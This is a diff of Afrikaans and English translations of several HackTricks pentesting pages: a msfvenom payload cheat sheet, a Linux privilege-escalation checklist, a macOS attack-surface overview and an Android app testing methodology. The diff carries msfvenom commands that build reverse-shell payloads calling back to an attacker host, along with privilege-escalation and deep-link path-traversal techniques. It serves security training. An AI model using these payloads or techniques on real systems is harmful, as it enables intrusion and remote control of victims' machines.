||||
#### Terug shell
|
||||
#### Terugshell
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -177,8 +175,6 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
|||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### OORLOG
|
||||
|
||||
#### Terug Shell
|
||||
|
@ -211,15 +207,15 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur regte tyd nuus en insigte
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
|
|
@ -15,20 +15,20 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte tyd nuus en insigte
|
||||
**Regte-Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur regte-tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
**Sluit aan by ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
### **Beste hulpmiddel om na Linux plaaslike privilige eskalasie vektore te soek:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
|
@ -40,7 +40,7 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
* [ ] Soek na [**kernel exploits**](privilege-escalation/#kernel-exploits) **met behulp van skripte** (DirtyCow?)
|
||||
* [ ] **Kyk** of die [**sudo weergawe** kwesbaar is](privilege-escalation/#sudo-version)
|
||||
* [ ] [**Dmesg** handtekening verifikasie het misluk](privilege-escalation/#dmesg-signature-verification-failed)
|
||||
* [ ] Meer stelsel enum ([datum, stelsel statistieke, cpu inligting, drukkers](privilege-escalation/#more-system-enumeration))
|
||||
* [ ] Meer stelselinventaris ([datum, stelsels stats, cpu inligting, drukkers](privilege-escalation/#more-system-enumeration))
|
||||
* [ ] [**Enumereer meer verdediging**](privilege-escalation/#enumerate-possible-defenses)
|
||||
|
||||
### [Aandrywe](privilege-escalation/#drives)
|
||||
|
@ -61,14 +61,14 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
* [ ] Soek na **exploits van lopende prosesse** (veral die weergawe wat aan die gang is).
|
||||
* [ ] Kan jy die **binaire** van enige lopende proses **wysig**?
|
||||
* [ ] **Monitor prosesse** en kyk of enige interessante proses gereeld aan die gang is.
|
||||
* [ ] Kan jy **lees** van sommige interessante **proses geheue** (waar wagwoorde gestoor kan word)?
|
||||
* [ ] Kan jy **lees** van sommige interessante **prosesgeheue** (waar wagwoorde gestoor kan word)?
|
||||
|
||||
### [Geskeduleerde/Cron werke?](privilege-escalation/#scheduled-jobs)
|
||||
|
||||
* [ ] Word die [**PATH** ](privilege-escalation/#cron-path) deur 'n cron gewysig en kan jy daarin **skryf**?
|
||||
* [ ] Enige [**wildcard** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) in 'n cron werk?
|
||||
* [ ] Sommige [**wysigbare skrip** ](privilege-escalation/#cron-script-overwriting-and-symlink) word **uitgevoer** of is binne **wysigbare vouer**?
|
||||
* [ ] Het jy opgemerk dat sommige **skrip** of **uitgevoer** word [**baie **gereeld**](privilege-escalation/#frequent-cron-jobs)? (elke 1, 2 of 5 minute)
|
||||
* [ ] Het jy opgemerk dat sommige **skrip** of word [**gereeld uitgevoer**](privilege-escalation/#frequent-cron-jobs)? (elke 1, 2 of 5 minute)
|
||||
|
||||
### [Dienste](privilege-escalation/#services)
|
||||
|
||||
|
@ -93,7 +93,7 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
### [Netwerk](privilege-escalation/#network)
|
||||
|
||||
* [ ] Enumereer die netwerk om te weet waar jy is
|
||||
* [ ] **Oop poorte wat jy nie voorheen kon toegang nie** om 'n shell binne die masjien te kry?
|
||||
* [ ] **Oop poorte wat jy voorheen nie kon toegang nie** om 'n shell binne die masjien te kry?
|
||||
* [ ] Kan jy **verkeer afluister** met `tcpdump`?
|
||||
|
||||
### [Gebruikers](privilege-escalation/#users)
|
||||
|
@ -119,11 +119,11 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
* [ ] [**LD\_PRELOAD kwesbaarheid**](privilege-escalation/#ld\_preload)
|
||||
* [ ] [**Gebrek aan .so biblioteek in SUID binaire**](privilege-escalation/#suid-binary-so-injection) van 'n skryfbare vouer?
|
||||
* [ ] [**SUDO tokens beskikbaar**](privilege-escalation/#reusing-sudo-tokens)? [**Kan jy 'n SUDO token skep**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
* [ ] Kan jy [**lees of wysig sudoers lêers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
||||
* [ ] Kan jy [**wysig /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
|
||||
* [ ] Kan jy [**sudoers lêers lees of wysig**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
||||
* [ ] Kan jy [**/etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d) wysig?
|
||||
* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) opdrag
|
||||
|
||||
### [Vermoeëns](privilege-escalation/#capabilities)
|
||||
### [Vermoeë](privilege-escalation/#capabilities)
|
||||
|
||||
* [ ] Het enige binaire enige **onverwagte vermoë**?
|
||||
|
||||
|
@ -160,7 +160,7 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
|
||||
* [ ] **Wysig python biblioteek** om arbitrêre opdragte uit te voer?
|
||||
* [ ] Kan jy **log lêers wysig**? **Logtotten** kwesbaarheid
|
||||
* [ ] Kan jy **wysig /etc/sysconfig/network-scripts/**? Centos/Redhat kwesbaarheid
|
||||
* [ ] Kan jy **/etc/sysconfig/network-scripts/** wysig? Centos/Redhat kwesbaarheid
|
||||
* [ ] Kan jy [**skryf in ini, int.d, systemd of rc.d lêers**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
|
||||
|
||||
### [**Ander truuks**](privilege-escalation/#other-tricks)
|
||||
|
@ -168,20 +168,20 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
* [ ] Kan jy [**NFS misbruik om privilige te eskaleer**](privilege-escalation/#nfs-privilege-escalation)?
|
||||
* [ ] Moet jy [**ontsnap uit 'n beperkende shell**](privilege-escalation/#escaping-from-restricted-shells)?
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte tyd nuus en insigte
|
||||
**Regte-Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur regte-tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
**Sluit aan by ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,15 +15,15 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte tyd nuus en insigte
|
||||
**Regte-Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte-tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -89,9 +89,9 @@ In maatskappye **macOS** stelsels gaan hoogs waarskynlik **bestuur word met 'n M
|
|||
|
||||
## Aanvaloppervlak
|
||||
|
||||
### Lêertoestemmings
|
||||
### Lêer Toestemmings
|
||||
|
||||
As 'n **proses wat as root loop 'n lêer skryf** wat deur 'n gebruiker beheer kan word, kan die gebruiker dit misbruik om **privileges te verhoog**.\
|
||||
As 'n **proses wat as root loop 'n** lêer skryf wat deur 'n gebruiker beheer kan word, kan die gebruiker dit misbruik om **privileges te verhoog**.\
|
||||
Dit kan in die volgende situasies gebeur:
|
||||
|
||||
* Lêer wat gebruik is, is reeds deur 'n gebruiker geskep (besit deur die gebruiker)
|
||||
|
@ -107,9 +107,9 @@ Vir hierdie soort kwesbaarhede, moenie vergeet om **kwesbare `.pkg` installers**
|
|||
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Lêeruitbreiding & URL skema app handlers
|
||||
### Lêer Uitbreiding & URL skema app hanteerders
|
||||
|
||||
Vreemde apps geregistreer deur lêeruitbreidings kan misbruik word en verskillende toepassings kan geregistreer word om spesifieke protokolle te open
|
||||
Vreemde apps geregistreer deur lêer uitbreidings kan misbruik word en verskillende toepassings kan geregistreer word om spesifieke protokolle te open
|
||||
|
||||
{% content-ref url="macos-file-extension-apps.md" %}
|
||||
[macos-file-extension-apps.md](macos-file-extension-apps.md)
|
||||
|
@ -117,17 +117,17 @@ Vreemde apps geregistreer deur lêeruitbreidings kan misbruik word en verskillen
|
|||
|
||||
## macOS TCC / SIP Privilege Escalation
|
||||
|
||||
In macOS **toepassings en lêers kan toestemmings hê** om toegang tot gidse of instellings te verkry wat hulle meer bevoorreg maak as ander.
|
||||
In macOS **toepassings en binaries kan toestemmings hê** om toegang te verkry tot gidsen of instellings wat hulle meer bevoorregte maak as ander.
|
||||
|
||||
Daarom, 'n aanvaller wat suksesvol 'n macOS masjien wil kompromitteer, sal moet **sy TCC privileges verhoog** (of selfs **SIP omseil**, afhangende van sy behoeftes).
|
||||
Daarom, 'n aanvaller wat 'n macOS masjien suksesvol wil kompromitteer, sal moet **sy TCC privileges verhoog** (of selfs **SIP omseil**, afhangende van sy behoeftes).
|
||||
|
||||
Hierdie privileges word gewoonlik gegee in die vorm van **entitlements** waarmee die toepassing onderteken is, of die toepassing mag sekere toegang gevra het en nadat die **gebruiker dit goedgekeur het**, kan dit in die **TCC databasisse** gevind word. 'n Ander manier waarop 'n proses hierdie privileges kan verkry, is deur 'n **kind van 'n proses** met daardie **privileges** te wees, aangesien dit gewoonlik **geërf** word.
|
||||
Hierdie privileges word gewoonlik gegee in die vorm van **entitlements** waarmee die toepassing onderteken is, of die toepassing mag sekere toegang versoek het en nadat die **gebruiker dit goedgekeur het**, kan dit in die **TCC databasisse** gevind word. 'n Ander manier waarop 'n proses hierdie privileges kan verkry, is deur 'n **kind van 'n proses** met daardie **privileges** te wees, aangesien dit gewoonlik **geërf** word.
|
||||
|
||||
Volg hierdie skakels om verskillende maniere te vind om [**privileges in TCC te verhoog**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), om [**TCC te omseil**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) en hoe in die verlede [**SIP omseil is**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
|
||||
## macOS Tradisionele Privilege Escalation
|
||||
|
||||
Natuurlik, vanuit 'n rooi span se perspektief, moet jy ook belangstel om na root te verhoog. Kyk na die volgende pos vir 'n paar wenke:
|
||||
Natuurlik, vanuit 'n rooi span perspektief, moet jy ook belangstel om na root te verhoog. Kyk na die volgende pos vir 'n paar wenke:
|
||||
|
||||
{% content-ref url="macos-privilege-escalation.md" %}
|
||||
[macos-privilege-escalation.md](macos-privilege-escalation.md)
|
||||
|
@ -145,15 +145,15 @@ Natuurlik, vanuit 'n rooi span se perspektief, moet jy ook belangstel om na root
|
|||
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
||||
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte tyd nuus en insigte
|
||||
**Regte-Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte-tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
|
|
@ -15,7 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
|
@ -32,7 +32,7 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
|
||||
## Android Toepassings Basiese Beginsels
|
||||
|
||||
Dit word sterk aanbeveel om hierdie bladsy te begin lees om meer te weet oor die **belangrikste dele wat verband hou met Android sekuriteit en die gevaarlikste komponente in 'n Android toepassing**:
|
||||
Dit word sterk aanbeveel om hierdie bladsy te begin lees om te weet oor die **belangrikste dele wat verband hou met Android sekuriteit en die gevaarlikste komponente in 'n Android toepassing**:
|
||||
|
||||
{% content-ref url="android-applications-basics.md" %}
|
||||
[android-applications-basics.md](android-applications-basics.md)
|
||||
|
@ -41,7 +41,7 @@ Dit word sterk aanbeveel om hierdie bladsy te begin lees om meer te weet oor die
|
|||
## ADB (Android Debug Bridge)
|
||||
|
||||
Dit is die hoofgereedskap wat jy nodig het om met 'n android toestel (geëmuleer of fisies) te verbind.\
|
||||
**ADB** laat jou toe om toestelle te beheer of oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut kan die **kopieer** van lêers in beide rigtings, **installasie** en **verwydering** van toepassings, **uitvoering** van shell-opdragte, **rugsteun** van data, **lees** van logs, onder andere funksies, moontlik maak.
|
||||
**ADB** laat jou toe om toestelle te beheer of oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nutsgereedskap stel die **kopieer** van lêers in beide rigtings, **installasie** en **verwydering** van toepassings, **uitvoering** van shell-opdragte, **rugsteun** van data, **lees** van logs, onder andere funksies, moontlik.
|
||||
|
||||
Kyk na die volgende lys van [**ADB Opdragte**](adb-commands.md) om te leer hoe om adb te gebruik.
|
||||
|
||||
|
@ -64,7 +64,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
|||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
* Voeg alle splits en basis apks saam met [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
* Voeg alle splits en basis apk's saam met [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
|
@ -75,7 +75,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
|||
```
|
||||
## Statiese Analise
|
||||
|
||||
Eerstens, om 'n APK te analiseer, moet jy **kyk na die Java-kode** met behulp van 'n decompiler.\
|
||||
Eerstens, om 'n APK te analiseer, moet jy **na die Java-kode kyk** met behulp van 'n decompiler.\
|
||||
Asseblief, [**lees hier om inligting oor verskillende beskikbare decompilers te vind**](apk-decompilers.md).
|
||||
|
||||
### Soek na interessante Inligting
|
||||
|
@ -139,13 +139,13 @@ In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **slegs**
|
|||
Wanneer jy met lêers op **eksterne stoor** werk, soos SD Kaart, moet sekere voorsorgmaatreëls geneem word:
|
||||
|
||||
1. **Toeganklikheid**:
|
||||
* Lêers op eksterne stoor is **globaal leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan toegang tot hierdie lêers hê.
|
||||
* Lêers op eksterne stoor is **globaal leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan toegang tot hierdie lêers verkry.
|
||||
2. **Sekuriteitskwessies**:
|
||||
* Gegewe die maklike toegang, word dit aanbeveel **om nie sensitiewe inligting** op eksterne stoor te stoor nie.
|
||||
* Eksterne stoor kan verwyder of deur enige toepassing benader word, wat dit minder veilig maak.
|
||||
* Gegewe die maklike toegang, dit word aanbeveel om **nie sensitiewe inligting** op eksterne stoor te stoor nie.
|
||||
* Eksterne stoor kan verwyder of deur enige toepassing toeganklik gemaak word, wat dit minder veilig maak.
|
||||
3. **Hantering van Data van Eksterne Stoor**:
|
||||
* Voer altyd **invoer validasie** uit op data wat van eksterne stoor verkry is. Dit is van kardinale belang omdat die data van 'n onbetroubare bron kom.
|
||||
* Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor vir dinamiese laai te stoor.
|
||||
* Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor te stoor vir dinamiese laai.
|
||||
* As jou toepassing uitvoerbare lêers van eksterne stoor moet verkry, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang om die sekuriteitsintegriteit van jou toepassing te handhaaf.
|
||||
|
||||
Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
@ -226,9 +226,9 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
|
|||
|
||||
### Other interesting functions
|
||||
|
||||
* **Kode-uitvoering**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
* **Stuur SMS's**: `sendTextMessage, sendMultipartTestMessage`
|
||||
* **Natuurlike funksies** verklaar as `native`: `public native, System.loadLibrary, System.load`
|
||||
* **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
* **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
|
||||
* **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
|
||||
* [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
|
||||
|
||||
### **Other tricks**
|
||||
|
@ -239,7 +239,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -262,7 +262,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
### Online Dynamic analysis
|
||||
|
||||
You can create a **gratis rekening** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
|
||||
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
|
||||
|
||||
You can even **see the logs of your application** in the web and connect through **adb**.
|
||||
|
||||
|
@ -281,8 +281,8 @@ Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emu
|
|||
[avd-android-virtual-device.md](avd-android-virtual-device.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
|
||||
* [**Nox**](https://es.bignox.com) (Gratis, but it doesn't support Frida or Drozer).
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
|
||||
* [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
|
||||
|
||||
{% hint style="info" %}
|
||||
When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
|
||||
|
@ -298,11 +298,11 @@ Also, notice that in the **configuration of the Android VM in Genymotion** you c
|
|||
|
||||
You need to activate the **debugging** options and it will be cool if you can **root** it:
|
||||
|
||||
1. **Instellings**.
|
||||
2. (FromAndroid 8.0) Select **Stelsel**.
|
||||
3. Select **Oor telefoon**.
|
||||
4. Press **Bou nommer** 7 times.
|
||||
5. Go back and you will find the **Ontwikkelaarsopsies**.
|
||||
1. **Settings**.
|
||||
2. (FromAndroid 8.0) Select **System**.
|
||||
3. Select **About phone**.
|
||||
4. Press **Build number** 7 times.
|
||||
5. Go back and you will find the **Developer options**.
|
||||
|
||||
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
|
||||
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
|
||||
|
@ -376,18 +376,18 @@ Let daarop dat 'n magtiging omseiling nie altyd 'n kwesbaarheid is nie, dit sal
|
|||
|
||||
#### Tapjacking
|
||||
|
||||
As tapjacking nie voorkom word nie, kan jy die geexporteerde aktiwiteit misbruik om die **gebruiker onvoorsiene aksies te laat uitvoer**. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](./#tapjacking).
|
||||
As tapjacking nie voorkom word nie, kan jy die geexporteerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](./#tapjacking).
|
||||
|
||||
### Exploiting Content Providers - Toegang tot en manipulasie van sensitiewe inligting
|
||||
|
||||
[**Lees dit as jy wil opfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
|
||||
Content providers word basies gebruik om **data te deel**. As 'n app beskikbare content providers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees.
|
||||
[**Lees dit as jy wil verfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
|
||||
Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees.
|
||||
|
||||
[**Leer hoe om Content Providers met Drozer te exploiteer.**](drozer-tutorial/#content-providers)
|
||||
|
||||
### **Exploiting Services**
|
||||
|
||||
[**Lees dit as jy wil opfris wat 'n Service is.**](android-applications-basics.md#services)\
|
||||
[**Lees dit as jy wil verfris wat 'n Service is.**](android-applications-basics.md#services)\
|
||||
Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`.
|
||||
|
||||
'n Service is basies iets wat **data kan ontvang**, dit **verwerk** en **gee** (of nie) 'n antwoord terug. As 'n toepassing sekere dienste geexporteer het, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
|
||||
|
@ -395,10 +395,10 @@ Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`.
|
|||
|
||||
### **Exploiting Broadcast Receivers**
|
||||
|
||||
[**Lees dit as jy wil opfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
|
||||
[**Lees dit as jy wil verfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`.
|
||||
|
||||
'n Broadcast receiver sal wag vir 'n tipe boodskap. Afhangende van hoe die receiver die boodskap hanteer, kan dit kwesbaar wees.\
|
||||
'n Uitzendingontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\
|
||||
[**Leer hoe om Broadcast Receivers met Drozer te exploiteer.**](./#exploiting-broadcast-receivers)
|
||||
|
||||
### **Exploiting Schemes / Deep links**
|
||||
|
@ -435,7 +435,7 @@ Elke keer as jy 'n diep skakel vind, moet jy seker maak dat dit **nie sensitiewe
|
|||
|
||||
**Parameters in pad**
|
||||
|
||||
Jy **moet ook nagaan of enige diep skakel 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\
|
||||
Jy **moet ook kyk of enige diep skakel 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\
|
||||
Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk 'n **Open Redirect** kan veroorsaak (as 'n deel van die pad as domeinnaam gebruik word), **rekening oorname** (as jy gebruikersbesonderhede kan wysig sonder 'n CSRF-token en die kwesbare eindpunt die korrekte metode gebruik) en enige ander kwesbaarheid. Meer [inligting hieroor](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Meer voorbeelde**
|
||||
|
@ -444,9 +444,9 @@ Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk '
|
|||
|
||||
